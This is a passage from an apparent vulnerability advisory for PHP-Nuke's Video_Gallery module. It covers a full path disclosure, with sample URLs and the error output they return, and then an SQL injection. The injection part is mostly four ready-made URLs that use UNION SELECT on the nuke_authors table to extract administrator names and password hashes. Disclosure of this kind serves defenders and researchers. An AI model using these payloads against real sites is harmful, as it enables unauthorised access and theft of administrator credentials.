2.- Full path disclosure:
¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨

This vulnerability would allow a remote user to determine the full
path to the web root directory and other potentially sensitive
information.

1)
http://[target]/modules.php?name=Video_Gallery&l_op=viewcat&catid=darkbicho

   Warning: mysql_fetch_row(): supplied argument is not a valid MySQL
result resource in
/home/hosting/php-nuke/includes/sql_layer.php on line 286

2)
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=darkbicho&catid=1

   Warning: mysql_fetch_row(): supplied argument is not a valid MySQL
result resource in
/home/hosting/php-nuke/includes/sql_layer.php on line 286

3.- Sql injection:
¨¨¨¨¨¨¨¨¨¨¨¨¨¨
This sql injection exploit can pull out from database any information,
for example
superadmin's username and password's md5 hash:

1)
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1

2)
http://[target]/modules.php?name=Video_Gallery&l_op=viewcat&catid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors

3)
http://[target]/modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20name%20FROM%20nuke_authors&catid=1

4)
http://[target]/modules.php?name=Video_Gallery&l_op=voteclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
